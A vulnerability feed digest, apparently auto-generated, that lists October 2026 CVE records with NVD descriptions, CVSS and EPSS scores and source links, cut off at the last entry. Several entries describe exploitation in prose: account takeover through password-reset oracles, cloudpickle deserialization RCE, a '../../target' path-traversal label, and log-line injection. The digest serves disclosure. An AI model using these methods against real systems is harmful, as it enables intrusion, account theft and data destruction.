OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser. An attacker can supply a crafted S-102 HDF5 file with malicious grid dimension metadata that causes memory corruption when a user opens it. In the S102_VG_BathymetryCoverage::Read() function, the numPointsLatitudinal and numPointsLongitudinal values are multiplied without validation, and the 32-bit result can wrap around, producing an undersized heap buffer allocation. Subsequent writes past the end of that buffer cause a heap-based buffer overflow, leading to an application crash or potential arbitrary code execution in the context of the user who opened the file.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35001).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35001&date=2026-10-25).
Sources:
NVD CVE-2026-35001: https://nvd.nist.gov/vuln/detail/CVE-2026-35001
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35001&date=2026-10-25
OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser. An attacker can supply a crafted S-102 HDF5 file with malicious grid dimension metadata that causes memory corruption when a user opens it. In the S102_VG_BathymetryCoverage::Read() function, the numPointsLatitudinal and numPointsLongitudinal values are multiplied without validation, and the 32-bit result can wrap around, producing an undersized heap buffer allocation. Subsequent writes past the end of that buffer cause a heap-based buffer overflow, leading to an application crash or potential arbitrary code execution in the context of the user who opened the file.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the...
https://kevwire.com/record/CVE-2026-49950
Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the... (Oct 13, 2026).
Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the actor-pool TCP channel. Attackers can exploit SocketChannel.recv() passing unvalidated data to cloudpickle.loads(), which triggers pickle __reduce__ gadget execution before message type validation, achieving remote code execution as the server process which commonly runs as root on GPU nodes.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49950).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49950&date=2026-10-25).
Sources:
NVD CVE-2026-49950: https://nvd.nist.gov/vuln/detail/CVE-2026-49950
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49950&date=2026-10-25
Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the actor-pool TCP channel. Attackers can exploit SocketChannel.recv() passing unvalidated data to cloudpickle.loads(), which triggers pickle __reduce__ gadget execution before message type validation, achieving remote code execution as the server process which commonly runs as root on GPU nodes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST...
https://kevwire.com/record/CVE-2026-53997
Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST... (Oct 12, 2026).
Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST /password/create-access and POST /password/email endpoints, allowing unauthenticated attackers to take over any member account across all tenants by exploiting the lack of rate limiting and distinct error messages that act as oracles for each of the four identity-verification factors (DNI, date of birth, phone number, last four IBAN digits). Attackers can confirm the DNI via the oracle, brute-force the date of birth and IBAN digits, obtain the phone number through open-source intelligence, then submit an attacker-controlled email field so the password reset link is delivered to them, enabling full account takeover including profile data, full IBAN, and fiscal documents.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53997).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53997&date=2026-10-25).
Sources:
NVD CVE-2026-53997: https://nvd.nist.gov/vuln/detail/CVE-2026-53997
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53997&date=2026-10-25
Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST /password/create-access and POST /password/email endpoints, allowing unauthenticated attackers to take over any member account across all tenants by exploiting the lack of rate limiting and distinct error messages that act as oracles for each of the four identity-verification factors (DNI, date of birth, phone number, last four IBAN digits). Attackers can confirm the DNI via the oracle, brute-force the date of birth and IBAN digits, obtain the phone number through open-source intelligence, then submit an attacker-controlled email field so the password reset link is delivered to them, enabling full account takeover including profile data, full IBAN, and fiscal documents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69935
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69935).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69935&date=2026-10-25).
Sources:
NVD CVE-2026-69935: https://nvd.nist.gov/vuln/detail/CVE-2026-69935
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69935
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69935&date=2026-10-25
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the...
https://kevwire.com/record/CVE-2026-96612
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the... (Oct 12, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the project's deps directory and extract package files into it when a developer fetches dependencies.

A package release's requirements carry an app label that names the dependency's OTP application. Hex takes this label from the repository's signed registry and uses it as the dependency's application name without validating it (Hex.RemoteConverger.deps/2, Hex.Mix.to_lock/1). Mix derives the dependency's checkout directory as deps/<app>, and Hex.SCM.update/1 runs File.rm_rf!/1 on that directory and unpacks the package into it. hex.pm only checks the label's length, so a publisher can set it to a value such as ../../target. When a project depends on such a release directly or transitively, mix deps.get or mix deps.update deletes the directory the label resolves to and writes the labelled package's files there. This happens before any dependency code is compiled.

This issue affects hex: from 0.6.0 before 2.5.2.
CVSS 7.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96612).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96612&date=2026-10-25).
Sources:
NVD CVE-2026-96612: https://nvd.nist.gov/vuln/detail/CVE-2026-96612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96612&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the project's deps directory and extract package files into it when a developer fetches dependencies.

A package release's requirements carry an app label that names the dependency's OTP application. Hex takes this label from the repository's signed registry and uses it as the dependency's application name without validating it (Hex.RemoteConverger.deps/2, Hex.Mix.to_lock/1). Mix derives the dependency's checkout directory as deps/<app>, and Hex.SCM.update/1 runs File.rm_rf!/1 on that directory and unpacks the package into it. hex.pm only checks the label's length, so a publisher can set it to a value such as ../../target. When a project depends on such a release directly or transitively, mix deps.get or mix deps.update deletes the directory the label resolves to and writes the labelled package's files there. This happens before any dependency code is compiled.

This issue affects hex: from 0.6.0 before 2.5.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69931
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69931).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69931&date=2026-10-25).
Sources:
NVD CVE-2026-69931: https://nvd.nist.gov/vuln/detail/CVE-2026-69931
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69931&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution.
https://kevwire.com/record/CVE-2026-92877
The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution. (Oct 12, 2026).
The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution. On JAXP implementations where that feature alone does not block external entity resolution, an attacker who can get untrusted XML unmarshalled through JAXB can read local files via out-of-band XXE.
CVSS 8.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92877).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92877&date=2026-10-25).
Sources:
NVD CVE-2026-92877: https://nvd.nist.gov/vuln/detail/CVE-2026-92877
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92877&date=2026-10-25
The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution. On JAXP implementations where that feature alone does not block external entity resolution, an attacker who can get untrusted XML unmarshalled through JAXB can read local files via out-of-band XXE.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion.
https://kevwire.com/record/CVE-2026-92876
IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion. (Oct 12, 2026).
IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92876).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92876&date=2026-10-25).
Sources:
NVD CVE-2026-92876: https://nvd.nist.gov/vuln/detail/CVE-2026-92876
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92876&date=2026-10-25
IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OAuth1 Request Replay Attack vulnerability in Apache Allura.
https://kevwire.com/record/CVE-2026-92120
OAuth1 Request Replay Attack vulnerability in Apache Allura. (Oct 12, 2026).
OAuth1 Request Replay Attack vulnerability in Apache Allura.



This issue affects Apache Allura: through 1.21.0.



Users are recommended to upgrade to version 1.22.0 which fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92120).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92120&date=2026-10-25).
Sources:
NVD CVE-2026-92120: https://nvd.nist.gov/vuln/detail/CVE-2026-92120
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92120&date=2026-10-25
OAuth1 Request Replay Attack vulnerability in Apache Allura.



This issue affects Apache Allura: through 1.21.0.



Users are recommended to upgrade to version 1.22.0 which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### REST API Mass Assignment vulnerability in Apache Allura.
https://kevwire.com/record/CVE-2026-92119
REST API Mass Assignment vulnerability in Apache Allura. (Oct 12, 2026).
REST API Mass Assignment vulnerability in Apache Allura.



This issue affects Apache Allura: through 1.21.0.



Users are recommended to upgrade to version 1.22.0, which fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92119).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92119&date=2026-10-25).
Sources:
NVD CVE-2026-92119: https://nvd.nist.gov/vuln/detail/CVE-2026-92119
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92119&date=2026-10-25
REST API Mass Assignment vulnerability in Apache Allura.



This issue affects Apache Allura: through 1.21.0.



Users are recommended to upgrade to version 1.22.0, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OAuth1 callback validation vulnerability in Apache Allura.
https://kevwire.com/record/CVE-2026-92116
OAuth1 callback validation vulnerability in Apache Allura. (Oct 12, 2026).
OAuth1 callback validation vulnerability in Apache Allura.



This issue affects Apache Allura: through 1.21.0.



Users are recommended to upgrade to version 1.22.0, which fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92116).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92116&date=2026-10-25).
Sources:
NVD CVE-2026-92116: https://nvd.nist.gov/vuln/detail/CVE-2026-92116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92116&date=2026-10-25
OAuth1 callback validation vulnerability in Apache Allura.



This issue affects Apache Allura: through 1.21.0.



Users are recommended to upgrade to version 1.22.0, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests.
https://kevwire.com/record/CVE-2026-89202
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests. (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests. This could allow an authenticated attacker with minimal privileges to disconnect active sessions of other users, including administrators, leading to a denial of service.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89202).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89202&date=2026-10-25).
Sources:
NVD CVE-2026-89202: https://nvd.nist.gov/vuln/detail/CVE-2026-89202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89202&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests. This could allow an authenticated attacker with minimal privileges to disconnect active sessions of other users, including administrators, leading to a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification...
https://kevwire.com/record/CVE-2026-89197
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification... (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification conditions processed during the Notification Profile configuration. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89197).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89197&date=2026-10-25).
Sources:
NVD CVE-2026-89197: https://nvd.nist.gov/vuln/detail/CVE-2026-89197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89197&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Value field of notification conditions processed during the Notification Profile configuration. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1.
https://kevwire.com/record/CVE-2026-89079
The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1. (Oct 16, 2026).
The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords on multi-site setups in certain configurations.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89079).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89079&date=2026-10-25).
Sources:
NVD CVE-2026-89079: https://nvd.nist.gov/vuln/detail/CVE-2026-89079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89079&date=2026-10-25
The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords on multi-site setups in certain configurations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network...
https://kevwire.com/record/CVE-2026-85957
Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network... (Oct 12, 2026).
Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network access or information disclosure.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85957).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85957&date=2026-10-25).
Sources:
NVD CVE-2026-85957: https://nvd.nist.gov/vuln/detail/CVE-2026-85957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85957&date=2026-10-25
Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network access or information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations.
https://kevwire.com/record/CVE-2026-85949
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected resources.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85949).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85949&date=2026-10-25).
Sources:
NVD CVE-2026-85949: https://nvd.nist.gov/vuln/detail/CVE-2026-85949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85949&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected resources.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69926
Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69926).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69926&date=2026-10-25).
Sources:
NVD CVE-2026-69926: https://nvd.nist.gov/vuln/detail/CVE-2026-69926
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69926
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69926&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when...
https://kevwire.com/record/CVE-2026-78556
A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when... (Oct 13, 2026).
A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when initiating a TLS connection. This allows an attacker to intercept and relay communication (Man-in-the-Middle attack) and to spoof a trusted entity by interfering in the communication path between the client and the intended server.
CVSS 7.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78556).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78556&date=2026-10-25).
Sources:
NVD CVE-2026-78556: https://nvd.nist.gov/vuln/detail/CVE-2026-78556
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78556&date=2026-10-25
A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The affected software does not properly validate the server certificate when initiating a TLS connection. This allows an attacker to intercept and relay communication (Man-in-the-Middle attack) and to spoof a trusted entity by interfering in the communication path between the client and the intended server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-63442
OPNsense is a FreeBSD based firewall and routing platform. (Oct 15, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63442).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63442&date=2026-10-25).
Sources:
